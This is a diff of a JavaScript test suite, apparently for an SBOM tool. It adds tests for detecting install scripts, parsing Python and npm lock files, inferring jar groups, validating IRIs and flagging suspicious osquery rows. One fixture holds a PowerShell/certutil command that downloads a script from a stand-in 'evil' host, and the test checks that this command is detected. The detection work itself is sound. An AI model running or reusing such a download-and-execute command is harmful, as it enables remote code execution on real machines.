+ outsideScriptFile,
4025
+ [
4026
+ "import cp from 'node:child_process';",
4027
+ "cp.execSync('echo should-not-be-read');",
4028
+ ].join("\n"),
4029
+ );
4030
+ writeFileSync(
4031
+ pkgJsonFile,
4032
+ JSON.stringify(
4033
+ {
4034
+ name: "outside-script-pkg",
4035
+ version: "1.0.0",
4036
+ scripts: {
4037
+ postinstall: "node ../secret.js",
4038
+ },
4039
+ },
4040
+ null,
4041
+ 2,
4042
+ ),
4043
+ );
4044
+
4045
+ try {
4046
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
4047
+ assert.strictEqual(pkgList.length, 1);
4048
+ const properties = pkgList[0].properties || [];
4049
+ assert.ok(
4050
+ properties.some(
4051
+ (property) =>
4052
+ property.name === "cdx:npm:hasInstallScript" &&
4053
+ property.value === "true",
4054
+ ),
4055
+ );
4056
+ assert.ok(
4057
+ !properties.some(
4058
+ (property) =>
4059
+ property.name === "cdx:npm:lifecycleIndicatorMap" &&
4060
+ property.value.includes("ast:child-process"),
4061
+ ),
4062
+ );
4063
+ assert.ok(
4064
+ !properties.some(
4065
+ (property) =>
4066
+ property.name === "cdx:npm:lifecycleExecutionIndicators" &&
4067
+ property.value.includes("ast:child-process"),
4068
+ ),
4069
+ );
4070
+ } finally {
4071
+ rmSync(tempDir, { force: true, recursive: true });
4072
+ }
4073
+ });
4074
+
4075
+ it("parsePkgJson detects bun lifecycle runners", async () => {
4076
+ const tempDir = mkdtempSync(
4077
+ path.join(tmpdir(), "cdxgen-pkgjson-bun-runner-"),
4078
+ );
4079
+ const pkgJsonFile = path.join(tempDir, "package.json");
4080
+ const preloadFile = path.join(tempDir, "preload.ts");
4081
+ const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
4082
+ mkdirSync(path.dirname(installScriptFile), { recursive: true });
4083
+ writeFileSync(preloadFile, "globalThis.__cdxgenPreload = true;\n");
4084
+ writeFileSync(
4085
+ installScriptFile,
4086
+ ["import cp from 'node:child_process';", "cp.execSync('echo bun');"].join(
4087
+ "\n",
4088
+ ),
4089
+ );
4090
+ writeFileSync(
4091
+ pkgJsonFile,
4092
+ JSON.stringify(
4093
+ {
4094
+ name: "bun-runner-pkg",
4095
+ version: "1.0.0",
4096
+ scripts: {
4097
+ postinstall:
4098
+ "bun run --preload ./preload.ts ./scripts/postinstall.ts",
4099
+ },
4100
+ },
4101
+ null,
4102
+ 2,
4103
+ ),
4104
+ );
4105
+
4106
+ try {
4107
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
4108
+ assert.strictEqual(pkgList.length, 1);
4109
+ const properties = pkgList[0].properties || [];
4110
+ assert.ok(
4111
+ properties.some(
4112
+ (property) =>
4113
+ property.name === "cdx:npm:lifecycleIndicatorMap" &&
4114
+ property.value.includes("ast:child-process"),
4115
+ ),
4116
+ );
4117
+ } finally {
4118
+ rmSync(tempDir, { force: true, recursive: true });
4119
+ }
4120
+ });
4121
+
4122
+ it("parsePkgJson detects deno run lifecycle runners", async () => {
4123
+ const tempDir = mkdtempSync(
4124
+ path.join(tmpdir(), "cdxgen-pkgjson-deno-runner-"),
4125
+ );
4126
+ const pkgJsonFile = path.join(tempDir, "package.json");
4127
+ const configFile = path.join(tempDir, "deno.json");
4128
+ const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
4129
+ mkdirSync(path.dirname(installScriptFile), { recursive: true });
4130
+ writeFileSync(configFile, '{"imports":{}}\n');
4131
+ writeFileSync(
4132
+ installScriptFile,
4133
+ ["import cp from 'node:child_process';", "cp.execSync('echo deno');"].join(
4134
+ "\n",
4135
+ ),
4136
+ );
4137
+ writeFileSync(
4138
+ pkgJsonFile,
4139
+ JSON.stringify(
4140
+ {
4141
+ name: "deno-runner-pkg",
4142
+ version: "1.0.0",
4143
+ scripts: {
4144
+ postinstall:
4145
+ "deno run -A --config ./deno.json ./scripts/postinstall.ts",
4146
+ },
4147
+ },
4148
+ null,
4149
+ 2,
4150
+ ),
4151
+ );
4152
+
4153
+ try {
4154
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
4155
+ assert.strictEqual(pkgList.length, 1);
4156
+ const properties = pkgList[0].properties || [];
4157
+ assert.ok(
4158
+ properties.some(
4159
+ (property) =>
4160
+ property.name === "cdx:npm:lifecycleIndicatorMap" &&
4161
+ property.value.includes("ast:child-process"),
4162
+ ),
4163
+ );
4164
+ } finally {
4165
+ rmSync(tempDir, { force: true, recursive: true });
4166
+ }
4167
+ });
4168
+
4169
+ it("parsePkgJson ignores non-run deno subcommands", async () => {
4170
+ const tempDir = mkdtempSync(
4171
+ path.join(tmpdir(), "cdxgen-pkgjson-deno-cache-"),
4172
+ );
4173
+ const pkgJsonFile = path.join(tempDir, "package.json");
4174
+ const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
4175
+ mkdirSync(path.dirname(installScriptFile), { recursive: true });
4176
+ writeFileSync(
4177
+ installScriptFile,
4178
+ [
4179
+ "import cp from 'node:child_process';",
4180
+ "cp.execSync('echo deno-cache');",
4181
+ ].join("\n"),
4182
+ );
4183
+ writeFileSync(
4184
+ pkgJsonFile,
4185
+ JSON.stringify(
4186
+ {
4187
+ name: "deno-cache-pkg",
4188
+ version: "1.0.0",
4189
+ scripts: {
4190
+ postinstall: "deno cache ./scripts/postinstall.ts",
4191
+ },
4192
+ },
4193
+ null,
4194
+ 2,
4195
+ ),
4196
+ );
4197
+
4198
+ try {
4199
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
4200
+ assert.strictEqual(pkgList.length, 1);
4201
+ const properties = pkgList[0].properties || [];
4202
+ assert.ok(
4203
+ !properties.some(
4204
+ (property) =>
4205
+ property.name === "cdx:npm:lifecycleIndicatorMap" &&
4206
+ property.value.includes("ast:child-process"),
4207
+ ),
4208
+ );
4209
+ } finally {
4210
+ rmSync(tempDir, { force: true, recursive: true });
4211
+ }
4212
+ });
4213
+
3646
4214
  it("parsePkgLock v1", async () => {
3647
4215
  const parsedList = await parsePkgLock(
3648
4216
  "./test/data/package-json/v1/package-lock.json",
@@ -3781,6 +4349,69 @@ it("parsePkgLock v3", async () => {
3781
4349
  assert.deepStrictEqual(parsedList.dependenciesList.length, 161);
3782
4350
  });
3783
4351
 
4352
+ it("parsePkgLock marks devOptional entries as development", async () => {
4353
+ const rootNode = {
4354
+ path: "/virtual/project",
4355
+ package: {
4356
+ author: "",
4357
+ license: "MIT",
4358
+ },
4359
+ packageName: "virtual-project",
4360
+ version: "1.0.0",
4361
+ edgesOut: new Map(),
4362
+ fsChildren: new Set(),
4363
+ children: new Map(),
4364
+ };
4365
+ const devOptionalNode = {
4366
+ path: "/virtual/project/node_modules/dev-optional-dep",
4367
+ package: {
4368
+ author: "",
4369
+ license: "MIT",
4370
+ },
4371
+ packageName: "dev-optional-dep",
4372
+ version: "2.0.0",
4373
+ devOptional: true,
4374
+ integrity: "sha512-devoptional",
4375
+ edgesOut: new Map(),
4376
+ fsChildren: new Set(),
4377
+ children: new Map(),
4378
+ };
4379
+ rootNode.children.set("node_modules/dev-optional-dep", devOptionalNode);
4380
+ rootNode.edgesOut.set("dev-optional-dep", {
4381
+ name: "dev-optional-dep",
4382
+ spec: "^2.0.0",
4383
+ to: devOptionalNode,
4384
+ });
4385
+ const { parsePkgLock: parsePkgLockWithMockedArborist } = await esmock(
4386
+ "./utils.js",
4387
+ {
4388
+ "../third-party/arborist/lib/index.js": {
4389
+ default: class MockArborist {
4390
+ async loadVirtual() {
4391
+ return rootNode;
4392
+ }
4393
+ },
4394
+ },
4395
+ },
4396
+ );
4397
+ const parsedList = await parsePkgLockWithMockedArborist(
4398
+ "./test/data/package-json/v3/package-lock.json",
4399
+ {},
4400
+ );
4401
+ const devOptionalPkg = parsedList.pkgList.find(
4402
+ (pkg) => pkg["bom-ref"] === "pkg:npm/dev-optional-dep@2.0.0",
4403
+ );
4404
+ assert.ok(devOptionalPkg);
4405
+ assert.deepStrictEqual(devOptionalPkg.scope, "optional");
4406
+ assert.ok(
4407
+ devOptionalPkg.properties.some(
4408
+ (property) =>
4409
+ property.name === "cdx:npm:package:development" &&
4410
+ property.value === "true",
4411
+ ),
4412
+ );
4413
+ });
4414
+
3784
4415
  it("parsePkgLock theia", async () => {
3785
4416
  const parsedList = await parsePkgLock(
3786
4417
  "./test/data/package-json/theia/package-lock.json",
@@ -6667,6 +7298,44 @@ it("parse python lock files", async () => {
6667
7298
  assert.deepStrictEqual(retMap.pkgList.length, 9);
6668
7299
  assert.deepStrictEqual(retMap.rootList.length, 9);
6669
7300
  assert.deepStrictEqual(retMap.dependenciesList.length, 9);
7301
+ retMap = await parsePyLockData(
7302
+ readFileSync("./test/data/pylock.toml", { encoding: "utf-8" }),
7303
+ "./test/data/pylock.toml",
7304
+ );
7305
+ assert.deepStrictEqual(retMap.pkgList.length, 2);
7306
+ assert.deepStrictEqual(retMap.dependenciesList.length, 2);
7307
+ assert.ok(
7308
+ retMap.pyLockProperties.some((p) => p.name === "cdx:pylock:lock_version"),
7309
+ );
7310
+ const attrsPkg = retMap.pkgList.find((p) => p.name === "attrs");
7311
+ assert.ok(
7312
+ attrsPkg.properties.some((p) => p.name === "cdx:pylock:marker"),
7313
+ "Expected pylock marker custom property for attrs package",
7314
+ );
7315
+ assert.ok(
7316
+ attrsPkg.components?.length,
7317
+ "Expected pylock wheel entry to produce file component",
7318
+ );
7319
+ const cattrsPkg = retMap.pkgList.find((p) => p.name === "cattrs");
7320
+ assert.ok(
7321
+ cattrsPkg.properties.some(
7322
+ (p) =>
7323
+ p.name === "cdx:pypi:registry" &&
7324
+ p.value === "https://internal.example/simple/",
7325
+ ),
7326
+ "Expected non-default pylock index to map to cdx:pypi:registry",
7327
+ );
7328
+ retMap = await parsePyLockData(
7329
+ readFileSync("./test/data/pylock-named/pylock.dev.toml", {
7330
+ encoding: "utf-8",
7331
+ }),
7332
+ "./test/data/pylock-named/pylock.dev.toml",
7333
+ );
7334
+ assert.deepStrictEqual(retMap.pkgList.length, 1);
7335
+ assert.ok(
7336
+ retMap.pkgList[0].components?.[0]?.hashes?.some((h) => h.alg === "SHA-256"),
7337
+ "Expected sha-256 pylock hash to normalize to SHA-256",
7338
+ );
6670
7339
  }, 120000);
6671
7340
 
6672
7341
  it("parse wheel metadata", () => {
@@ -7708,6 +8377,72 @@ it("purl encode tests", () => {
7708
8377
  assert.deepStrictEqual(encodeForPurl("%40angular"), "%40angular");
7709
8378
  });
7710
8379
 
8380
+ it("jar manifest group inference tests", () => {
8381
+ const antManifest = parseJarManifest(
8382
+ readJarMetadataFixture("ant-1.10.13", "MANIFEST.MF"),
8383
+ );
8384
+ assert.deepStrictEqual(
8385
+ inferJarGroupFromManifest(antManifest),
8386
+ "org.apache.tools.ant",
8387
+ );
8388
+ const velocityManifest = parseJarManifest(
8389
+ readJarMetadataFixture("velocity-1.7", "MANIFEST.MF"),
8390
+ );
8391
+ assert.deepStrictEqual(velocityManifest["Extension-Name"], "velocity");
8392
+ assert.deepStrictEqual(
8393
+ velocityManifest["Bundle-SymbolicName"],
8394
+ "org.apache.velocity",
8395
+ );
8396
+ assert.deepStrictEqual(
8397
+ inferJarGroupFromManifest(velocityManifest),
8398
+ "org.apache.velocity",
8399
+ );
8400
+ });
8401
+
8402
+ it("jar manifest inference and pom properties parsing tests", () => {
8403
+ const logbackManifest = parseJarManifest(
8404
+ readJarMetadataFixture("logback-classic-1.4.7", "MANIFEST.MF"),
8405
+ );
8406
+ const logbackPomProperties = parsePomProperties(
8407
+ readJarMetadataFixture("logback-classic-1.4.7", "pom.properties"),
8408
+ );
8409
+ assert.deepStrictEqual(
8410
+ inferJarGroupFromManifest(logbackManifest),
8411
+ "ch.qos.logback.classic",
8412
+ );
8413
+ assert.deepStrictEqual(logbackPomProperties, {
8414
+ artifactId: "logback-classic",
8415
+ groupId: "ch.qos.logback",
8416
+ version: "1.4.7",
8417
+ });
8418
+ const commonsMathManifest = parseJarManifest(
8419
+ readJarMetadataFixture("commons-math3-3.6.1", "MANIFEST.MF"),
8420
+ );
8421
+ const commonsMathPomProperties = parsePomProperties(
8422
+ readJarMetadataFixture("commons-math3-3.6.1", "pom.properties"),
8423
+ );
8424
+ assert.deepStrictEqual(
8425
+ inferJarGroupFromManifest(commonsMathManifest),
8426
+ "org.apache.commons.math3",
8427
+ );
8428
+ assert.deepStrictEqual(commonsMathPomProperties, {
8429
+ artifactId: "commons-math3",
8430
+ groupId: "org.apache.commons",
8431
+ version: "3.6.1",
8432
+ });
8433
+ });
8434
+
8435
+ it("jar group suffix trimming tests", () => {
8436
+ assert.deepStrictEqual(
8437
+ trimJarGroupSuffix("org.checkerframework.checker.qual", "checker-qual"),
8438
+ "org.checkerframework",
8439
+ );
8440
+ assert.deepStrictEqual(
8441
+ trimJarGroupSuffix("org.apache.velocity", "velocity"),
8442
+ "org.apache.velocity",
8443
+ );
8444
+ });
8445
+
7711
8446
  it("parsePackageJsonName tests", () => {
7712
8447
  assert.deepStrictEqual(parsePackageJsonName("foo"), {
7713
8448
  fullName: "foo",
@@ -8474,11 +9209,11 @@ const testCases = [
8474
9209
  // Potential ReDoS for percent-encoding regex: Long sequences of % followed by non-hex or short hex
8475
9210
  ["http://example.com/a%" + "a%".repeat(50000), false], // Many %a patterns
8476
9211
  ["http://example.com/a%" + "ab%".repeat(50000), false], // Many %ab patterns (invalid end)
8477
- ["http://example.com/a%" + "a".repeat(100000), false], // One % followed by many 'a's
9212
+ ["http://example.com/a%" + "a".repeat(100000), true], // Valid: %aa is a complete encoding followed by many literal 'a's in path
8478
9213
  ["http://example.com/" + "%".repeat(100000), false], // Very long sequence of just %
8479
9214
  // Edge cases around valid percent-encoding boundaries (pushing regex engine)
8480
9215
  ["http://example.com/path%" + "20".repeat(30000) + "%2", false], // Valid %20s, ends with incomplete %
8481
- ["http://example.com/path%" + "20".repeat(30000) + "a", false], // Valid %20s, ends with non-hex
9216
+ ["http://example.com/path%" + "20".repeat(30000) + "a", true], // Valid: %20 encoding followed by many chars and trailing literal 'a'
8482
9217
  // Potentially complex IRI that might be slow for validateIri (if not already robust)
8483
9218
  // Using a plausible but complex structure with lots of valid non-ASCII chars (requires UTF-8 support)
8484
9219
  // Note: Actual performance depends on the `validateIri` implementation.
@@ -8498,7 +9233,7 @@ const testCases = [
8498
9233
  // IRI with complex query and fragment (tests boundaries)
8499
9234
  [
8500
9235
  "https://example.com/path?query=with%20lots%20of%20percent%20encoding%20but%20valid%20%C3%A9%C3%B1#fragment-with-unicode-çhars-üñíçødé",
8501
- false,
9236
+ true, // Valid: %20 and %C3%A9%C3%B1 are correct encodings; RFC 3987 allows unicode in fragment
8502
9237
  ],
8503
9238
  // IRI that looks almost like a bomLink but isn't quite (tests scheme handling)
8504
9239
  ["urn:cdx:some-uuid/1#componentA/extra", true], // Might be valid IRI/URI, depends on urn:cdx spec, but structurally okay for IRI
@@ -8526,7 +9261,9 @@ const testCases = [
8526
9261
  ["http://example.com/path%ab%cd%eg", false], // Invalid: %eg
8527
9262
  ["http://example.com/path%ab%cd%", false], // Invalid: trailing %
8528
9263
  ["http://example.com/path%ab%cd%0", false], // Invalid: %0
8529
- ["http://example.com/path%ab%cd%0Z", false], // Invalid: %0Z (Z is hex, but makes the sequence too long if interpreted as %ab%cd%0Z)
9264
+ ["http://example.com/path%ab%cd%0Z", false], // Invalid: %0Z ('Z' is not a hex digit)
9265
+ ["http://example.com/path%abc", true], // Valid: %ab is a complete encoding, 'c' is the next literal character
9266
+ ["http://example.com/path%abZ", true], // Valid %ab followed by a literal character
8530
9267
  // Test with extremely long, but valid, percent-encoded sequence (pushes validateIri/URL)
8531
9268
  // This string is valid UTF-8 percent-encoded 'A' repeated many times.
8532
9269
  // encodeURIComponent("A".repeat(10000)) produces a very long string of %41
@@ -8648,3 +9385,63 @@ it("parses valid minified js with real package name (#2717)", async () => {
8648
9385
 
8649
9386
  if (existsSync(file)) unlinkSync(file);
8650
9387
  });
9388
+
9389
+ describe("convertOSQueryResults", () => {
9390
+ it("should use identifier as package name for chrome-extension purl type", () => {
9391
+ const components = convertOSQueryResults(
9392
+ "chrome_extensions",
9393
+ {
9394
+ purlType: "chrome-extension",
9395
+ componentType: "application",
9396
+ },
9397
+ [
9398
+ {
9399
+ name: "Human Readable Name",
9400
+ identifier: "HLEPFOOHEGKHHMJIEOECHADDAEJAOKHF",
9401
+ version: "25.7.1",
9402
+ profile: "Default",
9403
+ },
9404
+ ],
9405
+ false,
9406
+ );
9407
+ assert.strictEqual(components.length, 1);
9408
+ assert.strictEqual(components[0].name, "hlepfoohegkhhmjieoechaddaejaokhf");
9409
+ assert.strictEqual(
9410
+ components[0].purl,
9411
+ "pkg:chrome-extension/hlepfoohegkhhmjieoechaddaejaokhf@25.7.1",
9412
+ );
9413
+ const propNames = components[0].properties.map((prop) => prop.name);
9414
+ assert.ok(propNames.includes("name"));
9415
+ assert.ok(propNames.includes("identifier"));
9416
+ });
9417
+
9418
+ it("should add LOLBAS properties to suspicious windows osquery rows", () => {
9419
+ const components = convertOSQueryResults(
9420
+ "windows_run_keys",
9421
+ {
9422
+ purlType: "swid",
9423
+ componentType: "data",
9424
+ },
9425
+ [
9426
+ {
9427
+ name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
9428
+ description:
9429
+ "powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
9430
+ },
9431
+ ],
9432
+ false,
9433
+ );
9434
+ assert.strictEqual(components.length, 1);
9435
+ const propertyMap = Object.fromEntries(
9436
+ components[0].properties.map((property) => [
9437
+ property.name,
9438
+ property.value,
9439
+ ]),
9440
+ );
9441
+ assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
9442
+ assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
9443
+ assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
9444
+ assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
9445
+ assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
9446
+ });
9447
+ });